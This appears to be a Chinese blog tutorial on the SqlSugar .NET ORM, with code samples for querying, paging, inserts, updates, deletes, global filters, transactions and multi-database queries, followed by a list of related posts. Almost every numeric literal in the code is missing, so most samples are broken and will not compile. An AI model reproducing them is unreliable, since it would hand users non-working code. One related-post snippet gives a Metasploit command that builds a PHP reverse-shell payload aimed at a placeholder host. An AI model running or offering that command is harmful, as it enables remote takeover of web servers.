查询

1、SqlQuery 用于执行原生SQL和存储过程

  //转成list
List<Student> list1 = db.SqlQuery<Student>("select * from Student");
//转成list带参
List<Student> list2 = db.SqlQuery<Student>("select * from Student where id=@id", new { id = });
//转成dynamic
dynamic list3 = db.SqlQueryDynamic("select * from student");
//转成json
string list4 = db.SqlQueryJson("select * from student");
//返回int
var list5 = db.SqlQuery<int>("select top 1 id from Student").Single();
//反回键值
Dictionary<string, string> list6 = db.SqlQuery<KeyValuePair<string, string>>("select id,name from Student").ToDictionary(it => it.Key, it => it.Value);
//反回List<string[]>
var list7 = db.SqlQuery<string[]>("select top 1 id,name from Student").Single();
//存储过程
var spResult = db.SqlQuery<School>("exec sp_school @p1,@p2", new { p1=,p2= });

2、Queryable 用于单表或者视图查询

//---------Queryable<T>,扩展函数查询---------//

                //针对单表或者视图查询

                //查询所有
var student = db.Queryable<Student>().ToList();
var studentDynamic = db.Queryable<Student>().ToDynamic();
var studentJson = db.Queryable<Student>().ToJson(); //查询单条
var single = db.Queryable<Student>().Single(c => c.id == );
//查询单条没有记录返回空对象
var single2 = db.Queryable<Student>().Where(c => c.id == ).SingleOrDefault(); //查询第一条
var first = db.Queryable<Student>().Where(c => c.id == ).First();
var first2 = db.Queryable<Student>().Where(c => c.id == ).FirstOrDefault(); //取10-20条
var page1 = db.Queryable<Student>().Where(c => c.id > ).OrderBy("id").Skip().Take().ToList(); //上一句的简化写法,同样取10-20条
var page2 = db.Queryable<Student>().Where(c => c.id > ).OrderBy("id").ToPageList(, ); //查询条数
var count = db.Queryable<Student>().Where(c => c.id > ).Count(); //从第2条开始以后取所有
var skip = db.Queryable<Student>().Where(c => c.id > ).OrderBy("id").Skip().ToList(); //取前2条
var take = db.Queryable<Student>().Where(c => c.id > ).OrderBy("id").Take().ToList(); // Not like
string conval = "a";
var notLike = db.Queryable<Student>().Where(c => !c.name.Contains(conval.ToString())).ToList(); // 可以在拉姆达使用 ToString和 Convert,比EF出色的地方
var convert1 = db.Queryable<Student>().Where(c => c.name == "a".ToString()).ToList();
var convert2 = db.Queryable<Student>().Where(c => c.id == Convert.ToInt32("")).ToList();//
var convert3 = db.Queryable<Student>().Where(c => DateTime.Now > Convert.ToDateTime("2015-1-1")).ToList();
var convert4 = db.Queryable<Student>().Where(c => DateTime.Now > DateTime.Now).ToList(); //支持字符串Where 让你解决,更复杂的查询
var student12 = db.Queryable<Student>().Where(c => "a" == "a").Where("id>100").ToList();
var student13 = db.Queryable<Student>().Where(c => "a" == "a").Where("id>100 and id in( select 1)").ToList(); //存在记录反回true,则否返回false
bool isAny100 = db.Queryable<Student>().Any(c => c.id == );
bool isAny1 = db.Queryable<Student>().Any(c => c.id == ); int maxId = db.Queryable<Student>().Max<Student, int>("id");
int minId = db.Queryable<Student>().Where(c => c.id > ).Min<Student, int>("id"); //In
var list1= db.Queryable<Student>().In("id", "", "", "").ToList();
var list2=db.Queryable<Student>().In("id", new string[] { "", "", "" }).ToList();
var list3=db.Queryable<Student>().In("id", new List<string> { "", "", "" }).ToList();
var list4 = db.Queryable<Student>().Where(it=>it.id<).In("id", new List<string> { "", "", "" }).ToList(); //分组查询
var list5= db.Queryable<Student>().Where(c => c.id < ).GroupBy("sex").Select<Student, SexTotal>("Sex,Count=count(*)").ToList();
//SELECT Sex,Count=count(*) FROM Student WHERE 1=1 AND (id < 20) GROUP BY Sex --生成结果

3、Sqlable 用于多表查询

//---------Sqlable,创建多表查询---------//

                //多表查询
List<School> dataList = db.Sqlable()
.From("school", "s")
.Join("student", "st", "st.id", "s.id", JoinType.INNER)
.Join("student", "st2", "st2.id", "st.id", JoinType.LEFT)
.Where("s.id>100 and s.id<@id")
.Where("1=1")//可以多个WHERE
.SelectToList<School/*新的Model我这里没有所以写的School*/>("st.*", new { id = }); //多表分页
List<School> dataPageList = db.Sqlable()
.From("school", "s")
.Join("student", "st", "st.id", "s.id", JoinType.INNER)
.Join("student", "st2", "st2.id", "st.id", JoinType.LEFT)
.Where("s.id>100 and s.id<100")
.SelectToPageList<School>("st.*", "s.id", , ); //多表分页WHERE加子查询
List<School> dataPageList2 = db.Sqlable()
.From("school", "s")
.Join("student", "st", "st.id", "s.id", JoinType.INNER)
.Join("student", "st2", "st2.id", "st.id", JoinType.LEFT)
.Where("s.id>100 and s.id<100 and s.id in (select 1 )" /*这里面写子查询都可以*/)
.SelectToPageList<School>("st.*", "s.id", , ); //--------转成List Dynmaic 或者 Json-----// //不分页
var list1 = db.Sqlable().From("student", "s").Join("school", "l", "s.sch_id", "l.id and l.id=@id", JoinType.INNER).SelectToDynamic("*", new { id = });
var list2 = db.Sqlable().From("student", "s").Join("school", "l", "s.sch_id", "l.id and l.id=@id", JoinType.INNER).SelectToJson("*", new { id = });
var list3 = db.Sqlable().From("student", "s").Join("school", "l", "s.sch_id", "l.id and l.id=@id", JoinType.INNER).SelectToDataTable("*", new { id = }); //分页
var list4 = db.Sqlable().From("student", "s").Join("school", "l", "s.sch_id", "l.id and l.id=@id", JoinType.INNER).SelectToPageDynamic("s.*", "l.id", , , new { id = });
var list5 = db.Sqlable().From("student", "s").Join("school", "l", "s.sch_id", "l.id and l.id=@id", JoinType.INNER).SelectToPageTable("s.*", "l.id", , , new { id = });
var list6 = db.Sqlable().From("student", "s").Join("school", "l", "s.sch_id", "l.id and l.id=@id", JoinType.INNER).SelectToPageDynamic("s.*", "l.id", , , new { id = }); //--------拼接-----//
Sqlable sable = db.Sqlable().From<Student>("s").Join<School>("l", "s.sch_id", "l.id", JoinType.INNER);
string name = "a";
int id = ;
if (!string.IsNullOrEmpty(name))
{
sable = sable.Where("s.name=@name");
}
if (!string.IsNullOrEmpty(name))
{
sable = sable.Where("s.id=@id or s.id=100");
}
if (id > )
{
sable = sable.Where("l.id in (select top 10 id from school)");//where加子查询
}
var pars = new { id = id, name = name };
int pageCount = sable.Count(pars);
var list7 = sable.SelectToPageList<Student>("s.*","l.id desc",,, pars);

4、新容器转换

using (SqlSugarClient db = SugarDao.GetInstance())
{
var list2= db.Queryable<Student>().Where(c => c.id < ).Select(c => new classNew { newid = c.id, newname = c.name, xx_name = c.name }).ToList();//不支持匿名类转换,也不建议使用 var list3 = db.Queryable<Student>().Where(c => c.id < ).Select(c => new { newid = c.id, newname = c.name, xx_name = c.name }).ToDynamic();//匿名类转换
}

添加

using (SqlSugarClient db = SugarDao.GetInstance())//开启数据库连接
{
Student s = new Student()
{
name = "张" + new Random().Next(, int.MaxValue)
}; db.Insert(s); //插入一条记录 (有主键也好,没主键也好,有自增列也好都可以插进去) List<Student> list = new List<Student>()
{
new Student()
{
name="张"+new Random().Next(,int.MaxValue)
},
new Student()
{
name="张"+new Random().Next(,int.MaxValue)
}
}; db.InsertRange(list); //批量插入
}
}

更新

using (var db = SugarDao.GetInstance())
{
//指定列更新
db.Update<School>(new { name = "蓝翔2" }, it => it.id == id);
db.Update<School, int>(new { name = "蓝翔2" }, , , );
db.Update<School, string>(new { name = "蓝翔2" }, new string[] { "", "" }); //整个实体更新
db.Update(new School { id = id, name = "蓝翔2" });
db.Update<School>(new School { id = id, name = "蓝翔2" }, it => it.id == id); //设置不更新列
db.DisableUpdateColumns = new string[] { "CreateTime" };//设置CreateTime不更新 TestUpdateColumns updObj = new TestUpdateColumns()
{
VGUID = Guid.Parse("542b5a27-6984-47c7-a8ee-359e483c8470"),
Name = "xx",
Name2 = "xx2",
IdentityField = ,
CreateTime = null
}; //CreateTime将不会被更新
db.Update(updObj);
//以前实现这种更新需要用指定列的方式实现,现在就简单多了。 }

删除和假删除

using (var db = SugarDao.GetInstance())
{
//真删除
db.Delete<School, int>();//注意主键必需为实体类的第一个属性
db.Delete<School>(it => it.id > );
db.Delete<School, string>(new string[] { "", "", "" }); //假删除
//db.FalseDelete<school>("is_del", 100);
//等同于 update school set is_del=0 where id in(100)
//db.FalseDelete<school>("is_del", it=>it.id==100);
}

全局过滤器

这功能主要用于通用权限设计等功能, 当有很多WHERE重复,并且动态 这时候就需要在全局设置好过滤器接口集合,程序中使用只需要设KEY便可

/// <summary>
/// 过滤器
/// </summary>
public partial class Filter : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
using (SqlSugarClient db = SugarDaoFilter.GetInstance())//开启数据库连接
{
//设置走哪个过滤器
db.CurrentFilterKey = "role"; //queryable
var list = db.Queryable<Student>().ToList(); //通过全局过滤器对需要权限验证的数据进行过滤
//相当于db.Queryable<Student>().Where("id=@id",new{id=1}) //sqlable
var list2 = db.Sqlable().Form<Student>("s").SelectToList<Student>("*");
//同上 //sqlQuery
var list3 = db.SqlQuery<Student>("select * from Student");
//同上
}
}
}
/// <summary>
/// 扩展SqlSugarClient
/// </summary>
public class SugarDaoFilter
{
//禁止实例化
private SugarDaoFilter()
{ }
/// <summary>
/// 页面所需要的过滤函数
/// </summary>
private static Dictionary<string, Func<KeyValueObj>> _filterParas = new Dictionary<string, Func<KeyValueObj>>()
{
{ "role",()=>{
return new KeyValueObj(){ Key=" id=@id" , Value=new{ id=}};
}
},
{ "org",()=>{
return new KeyValueObj(){ Key=" orgId=@orgId" , Value=new{ orgId=}};
}
},
};
public static SqlSugarClient GetInstance()
{
string connection = System.Configuration.ConfigurationManager.ConnectionStrings[@"sqlConn"].ToString(); //这里可以动态根据cookies或session实现多库切换
var reval = new SqlSugarClient(connection);
reval.SetFilterFilterParas(_filterParas);
return reval;
}
}

无参模式

将IsGetPageParas设为true之后页面的参数都不需要使用  new{}来赋值

 using (SqlSugarClient db = SugarDao.GetInstance())//开启数据库连接
{ db.IsGetPageParas = true;//使用无参模式直接将Requst中的ID传给@id无需在代码中写出来 var list = db.Queryable<Student>().Where("id=@id").ToList(); //sqlable queryable sqlquery通用 //获取页面所有参数到键值对
//var kvs= SqlSugarTool.GetParameterDictionary(); //以前写法
//var xx = db.Queryable<Student>().Where("id=@id", new { id=Request["id"] }).ToList();
}

事务

using (SqlSugarClient db = SugarDao.GetInstance())//开启数据库连接
{
db.IsNoLock = true;//启用无锁查询
db.CommandTimeOut = ;//设置超时时间
try
{
db.BeginTran();//开启事务 db.CommitTran();//提交事务
}
catch (Exception)
{
db.RollbackTran();//回滚事务
throw;
}
}

公开函数

//ToJoinSqlInVal
var par = new string[] { "a", "c", "" };
var ids = par.ToJoinSqlInVal();//将数组转成 'a','c','3' 有防SQL注入处理 //ToSqlValue
try
{
var par2 = "a'";
var newpar2 = par2.ToSqlValue();//对字符串防注入处理
}
catch (Exception ex)
{ Response.Write(ex.Message);
} //SqlLikeWordEncode 处理LIKE特殊字符
var likestr = SqlSugarTool.SqlLikeWordEncode("[%%%"); //GetParameterArray 获取页面参数所有参数的键和值
var pars = SqlSugarTool.GetParameterArray(); //将匿名对象转成SqlParameter
var par3= SqlSugarTool.GetParameters(new { id=});

实体生成

 //根据当前数据库生成所有表的实体类文件 (参数:SqlSugarClient ,文件目录,命名空间)
//db.ClassGenerating.CreateClassFiles(db,Server.MapPath("~/Models"),"Models");
//根据表名生成实体类文件
//db.ClassGenerating.CreateClassFilesByTableNames(db, Server.MapPath("~/Models"), "Models" , "student","school"); //根据表名生成class字符串
var str = db.ClassGenerating.TableNameToClass(db, "Student"); //根据SQL语句生成class字符串
var str2 = db.ClassGenerating.SqlToClass(db, "select top 1 * from Student", "student");

T4模版

请查看Demos文件下的T4

别名表

  //-----单个-------//
var list = db.Queryable<V_Student>("Student").ToList();//查询的是 select * from student 而我的实体名称为V_Student //-----全局多个设置-------// //设置 Mapping Table 如果没这方面需求可以传NULL
List<KeyValue> mappingTableList = new List<KeyValue>(){
new KeyValue(){ Key="FormAttr", Value="Flow_FormAttr"},
new KeyValue(){ Key="Student3", Value="Student"}
};
db.SetMappingTables(mappingTableList);

多库并行计算功能

using (CloudClient db = CloudDao.GetInstance())
{
db.PageMaxHandleNumber = ;
using (CommittableTransaction trans = new CommittableTransaction())//启用分布式事务
{ db.Tran = trans; /*** 增、删、改 ***/ //根据配置的百分比,随机插入到某个节点库
var s = new student()
{
createTime = DateTime.Now,
id = Guid.NewGuid(),
name = Guid.NewGuid() + ""
};
//db.Insert<student>(s, false/*false表示不是自增列*/); //数据库设计主键为GUID为佳多库计算不会冲突 ////并发请求所有节点找出这条数据更新
//s.name = "改11";
//db.Update<student>(s, it => it.id == s.id);//根据表达示更新 //db.Update<student, Guid>(s, s.id);//根据主键更新 //db.Update<student, Guid>(s, new Guid[] { s.id });//根据主键数组更新 ////并发请求所有节点找出这条数据删除
//db.Delete<student>(it => it.id == s.id); trans.Commit();
} db.TranDispose(); /*** 使用Taskable实现云计算 ***/ //多线程请求所有数据库节点,获取汇总结果
var taskDataTable = db.Taskable<DataTable>("SELECT max(NUM) FROM STUDENT").Tasks;
foreach (var dr in taskDataTable)//遍历所有节点数据
{
var dt = dr.Result.DataTable;//每个节点的数据 类型为DataTable
var connectionName = dr.Result.ConnectionString;
} //多线程请求所有数据库节点,获取汇总结果
var taskInt = db.Taskable<int>("SELECT max(NUM) FROM STUDENT").Tasks;
foreach (var dr in taskInt)//遍历所有节点数据
{
var dt = dr.Result.Value;//获取单个值
var connectionName = dr.Result.ConnectionString;
} //多线程请求所有数据库节点,获取汇总结果
var taskEntity = db.Taskable<student>("SELECT top 100 * FROM STUDENT").Tasks;
foreach (var dr in taskEntity)//遍历所有节点数据
{
var dt = dr.Result.Entities;//获取实体集合
var connectionName = dr.Result.ConnectionString;
} // //Taskable实现分组查询
// var groupList = db.Taskable<DataTable>("SELECT name,COUNT(*) AS [count],AVG(num) as num FROM STUDENT WHERE ID IS NOT NULL GROUP BY NAME ")
// .Tasks
// .SelectMany(it => it.Result.DataTable.AsEnumerable())
// .Select(dr => new { num = Convert.ToInt32(dr["NUM"]), name = dr["NAME"].ToString(), count = Convert.ToInt32(dr["COUNT"]) })
// .GroupBy(dr => dr.name).Select(dt => new { name = dt.First().name, count = dt.Sum(dtItem => dtItem.count), num = dt.Sum(dtItem => dtItem.num) / dt.Sum(dtItem => dtItem.count) }).ToList(); // //输出结果
// foreach (var it in groupList)
// {
// var num = it.num;
// var name = it.name;
// var count = it.count;
// } // //简化
// var groupList2 = db.Taskable<DataTable>("SELECT NAME,COUNT(*) AS [COUNT],AVG(NUM) as NUM FROM STUDENT WHERE ID IS NOT NULL GROUP BY NAME ")
//.MergeTable()//将结果集合并到一个集合
//.Select(dr => new { num = Convert.ToInt32(dr["NUM"]), name = dr["NAME"].ToString(), count = Convert.ToInt32(dr["COUNT"]) })
//.GroupBy(dr => dr.name).Select(dt => new { name = dt.First().name, count = dt.Sum(dtItem => dtItem.count), num = dt.Sum(dtItem => dtItem.num) / dt.Sum(dtItem => dtItem.count) }).ToList(); // //再简化
// List<V_Student> groupList3 = db.Taskable<V_Student>("SELECT name,COUNT(*) AS [count],AVG(num) as num FROM STUDENT WHERE ID IS NOT NULL GROUP BY NAME ")
//.MergeEntities()//将结果集合并到一个集合
//.GroupBy(dr => dr.name).Select(dt => new V_Student { name = dt.First().name, count = dt.Sum(dtItem => dtItem.count), num = dt.Sum(dtItem => dtItem.num) / dt.Sum(dtItem => dtItem.count) }).ToList(); //更多简化函数
int maxValue = db.Taskable<int>("SELECT max(NUM) FROM STUDENT").Max();//求出所有节点的最大值
int minValue = db.Taskable<int>("SELECT min(NUM) FROM STUDENT").Min();//求出所有节点的最小值
var dataCount = db.Taskable<int>("SELECT count(1) FROM STUDENT").Count();//求出所有节点数据
// var avg = db.TaskableWithCount<int>("SELECT avg(num)", " FROM STUDENT").Avg();
var all = db.Taskable<student>("select * from student where Contains(name,@name)"/*使用contains需要建全文索引*/, new { name = "张三" }).ToList();//获取所有节点name为张三的数据,转为list var dnSingle = DateTime.Now;
var data = db.Taskable<student>("select * from student where id=@id", new { id = id }).ToSingle();//从所有节点中查询一条记录
var timeSingle = (DateTime.Now - dnSingle).TotalSeconds; var dn = DateTime.Now;
//单列排序
// var list = db.TaskableWithPage<student>("id", "select * from student "/*使用contains需要建全文索引*/, 2160, 25, ref pageCount, "num", OrderByType.desc, new { name = "\"*李*\"" });
var time = (DateTime.Now - dn).TotalSeconds; //多组排序 order by num,time
var dn2 = DateTime.Now;
var listMultipleOrderBy = db.TaskableWithPage<student>("id", "select * from student "/*使用contains需要建全文索引*/, , , ref pageCount, new List<OrderByDictionary>() {
new OrderByDictionary(){ OrderByField="num", OrderByType=OrderByType.asc},
// new OrderByDictionary(){ OrderByField="createTime", OrderByType=OrderByType.desc},
// new OrderByDictionary(){ OrderByField="createTime", OrderByType=OrderByType.asc}
}, new { name = "\"*小*\"" });
var time2 = (DateTime.Now - dn2).TotalSeconds; }
/// <summary>
/// 测试类
/// </summary>
public class student
{
public Guid id { get; set; }
public string name { get; set; }
public DateTime createTime { get; set; }
public int num { get; set; }
}
/// <summary>
/// 获取数据库连接对象
/// </summary>
public class CloudDao
{
private CloudDao() { }
public static CloudClient GetInstance()
{
return new CloudClient(new List<CloudConnectionConfig>() {
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c1"].ToString(), Rate=},
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c2"].ToString(), Rate=},
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c3"].ToString(), Rate=},
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c4"].ToString(), Rate=},
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c5"].ToString(), Rate=},
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c6"].ToString(), Rate=},
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c7"].ToString(), Rate=},
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c8"].ToString(), Rate=},
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c9"].ToString(), Rate=},
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c10"].ToString(), Rate=},
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c15"].ToString(), Rate=},
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c16"].ToString(), Rate=},
new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["c17"].ToString(), Rate=},
//new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["cy1"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["cy2"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["cy3"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["zq1"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["zq2"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["zq3"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["qp1"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["qp2"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["qp3"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["wy1"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["wy2"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["wy3"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["wwf1"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["wwf2"].ToString(), Rate=1},
// new CloudConnectionConfig(){ ConnectionString=ConfigurationManager.ConnectionStrings["wwf3"].ToString(), Rate=1}, });
}
}

等Core成熟将第一时间兼容Core版本,本人小学毕业有错别字请见谅

 GITHUB下载地址:

https://github.com/sunkaixuan/SqlSugar

.NET ORM SqlQuery的更多相关文章

  1. 【ASP.NET程序员福利】打造一款人见人爱的ORM(二)

    上一篇我已经给大家介绍AntORM的框架[ASP.NET程序员福利]打造一款人见人爱的ORM(一),今天就来着重介绍一下如何使用这套框架 1>AntORM 所有成员 如果你只想操作一种数据库,可 ...

  2. 按照用户名和角色查询用户liferay

    需求:当登录的用户输入用户的名字和角色的时候,模糊查询,然后就是Ajax的异步请求刷新界面 首先在一个工具类中写上一条你要写的sql语句代码如下: package com.ebizwindow.crm ...

  3. atitit. orm框架的hibernate 使用SQLQuery createSQLQuery addEntity

    atitit. orm框架的hibernate 使用SQLQuery createSQLQuery addEntity 1. addEntity 对原生SQL查询运行的控制是通过SQLQuery接口进 ...

  4. .NET 开源SqlServer ORM框架 SqlSugar 3.0 API

    3.1.x ,将作为3.X系统的最后一个版本,下面将会开发 全新的功能 更新列表:https://github.com/sunkaixuan/SqlSugar/releases 优点: SqlSuga ...

  5. [开源].NET数据库访问框架Chloe.ORM

    扯淡 13年毕业之际,进入第一家公司实习,接触了 EntityFramework,当时就觉得这东西太牛了,访问数据库都可以做得这么轻松.优雅!毕竟那时还年轻,没见过世面.工作之前为了拿个实习机会混个工 ...

  6. 高品质开源工具Chloe.ORM:支持存储过程与Oracle

    扯淡 这是一款高质量的.NET C#数据库访问框架(ORM).查询接口借鉴 Linq.借助 lambda 表达式,可以完全用面向对象的方式就能轻松执行多表连接查询.分组查询.聚合查询.插入数据.批量删 ...

  7. 【开源框架】SqlSugarRepository 全库ORM 正式发布

    SqlSugarRepository.dll 全库开发框架支持 四种数据库:SqlServer. MySql .Oracle和Sqlite. SqlSugarRepository是为全库开发而生的OR ...

  8. [开源ORM] SqliteSugar 3.x .net Core版本成功上线

    SqliteSqlSugar 3.X API 作为支持.NET CORE 为数不多的ORM之一,除了具有优越的性能外,还拥有强大的功能,不只是满足你的增,删,查和改.实质上拥有更多你想像不到的功能,当 ...

  9. N[开源].NET CORE与MySql更配, MySqlSugar ORM框架 3.x

    MySqlSugar 3.X API 作为支持.NET CORE 为数不多的ORM之一,除了具有优越的性能外,还拥有强大的功能,不只是满足你的增,删,查和改.实质上拥有更多你想像不到的功能,当你需要实 ...

随机推荐

  1. 注册google账号时出现手机号的问题

    注册谷歌账号时出现此电话号码无法用于进行验证 这主要是86和手机号之间有一个空格造成的,把这个空格删除就可以了

  2. Eureka与zookeeper

    Eureka的优势 1.在Eureka平台中,如果某台服务器宕机,Eureka不会有类似于ZooKeeper的选举leader的过程:客户端请求会自动切换到新的Eureka节点:当宕机的服务器重新恢复 ...

  3. bzoj 4831 [Lydsy1704月赛]序列操作 dp

    [Lydsy1704月赛]序列操作 Time Limit: 1 Sec  Memory Limit: 128 MBSubmit: 203  Solved: 69[Submit][Status][Dis ...

  4. vijos 1004 伊甸园日历游戏 博弈+打表找规律

    描述 Adam和Eve玩一个游戏,他们先从1900.1.1到2001.11.4这个日期之间随意抽取一个日期出来.然后他们轮流对这个日期进行操作: 1 : 把日期的天数加1,例如1900.1.1变到19 ...

  5. 【STSRM10】数学上来先打表

    [算法]DP+数学计数 [题意]给出n个点(不同点之间有区别),求出满足下列条件的连边(双向边)方案(对1004535809取模): 1.每条边连接两个不同的点,每两个点之间至多有一条边. 2.不存在 ...

  6. 【游记】GDOI 2017

    Day 0 学校好大>_<! 酒店好高级>_<! 晚上复习代码的时候很困QAQ,中间和hwh面基.复习到SA的时候因为太久没看忘记板子的意思了又背不下来,于是不看了,相信考了也 ...

  7. MYSQL查找总结

      a.条件判断where select * from 表 where id > 1 and name != 'alex' and num = 12; select * from 表 where ...

  8. Problem B. Harvest of Apples(杭电2018年多校+组合数+逆元+莫队)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=6333 题目: 题意:求C(n,0)+C(n,1)+……+C(n,m)的值. 思路:由于t和n数值范围太 ...

  9. msf web脚本反弹shell

    msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php msf > use multi/handle ...

  10. DIV+CSS综合实例【传智PHP首页】

    1.首页结构 2.准备工作 所有素材放到与当前网页同级的目录下: 网页背景色.背景图: 主页宽度:1000px: 创建CSS文件,将CSS文件引入到当前的HTML文件中. 3.实现 效果图: HTML ...